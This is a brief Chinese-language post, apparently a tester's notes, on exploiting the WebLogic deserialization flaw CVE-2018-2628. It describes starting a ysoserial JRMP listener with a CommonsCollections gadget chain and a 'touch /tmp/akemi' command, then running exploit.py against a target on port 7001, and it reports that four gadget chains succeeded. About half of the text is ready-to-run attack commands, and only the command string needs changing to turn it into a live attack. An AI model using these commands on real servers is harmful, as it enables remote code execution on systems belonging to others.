简单来说就是先用序列化工具ysoserial启动一个JRMP服务,加载先相关漏洞利用链,加载你要执行的恶意代码。
并将上述结果通过序列化工具ysoserial将我们的恶意代码进行一个序列化操作。
第二步就是将我们的exp去加载ysoserial序列化后的数据,后去打有漏洞的服务。
这个有反序列化漏洞的服务,会去反序列化后,执行我们的恶意代码。
关于cve-2018-2628 楼主测试到这4条cc链都可以打成功cc1 cc6 cc7 cc9
第一步,起一个JRMP服务
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'touch /tmp/akemi'
第二步,漏洞的相关exp去加载JRMP相关的一个序列化恶意代码
python exploit.py 192.168.100.34 7001 ysoserial.jar 192.168.100.34 1099 JRMPClient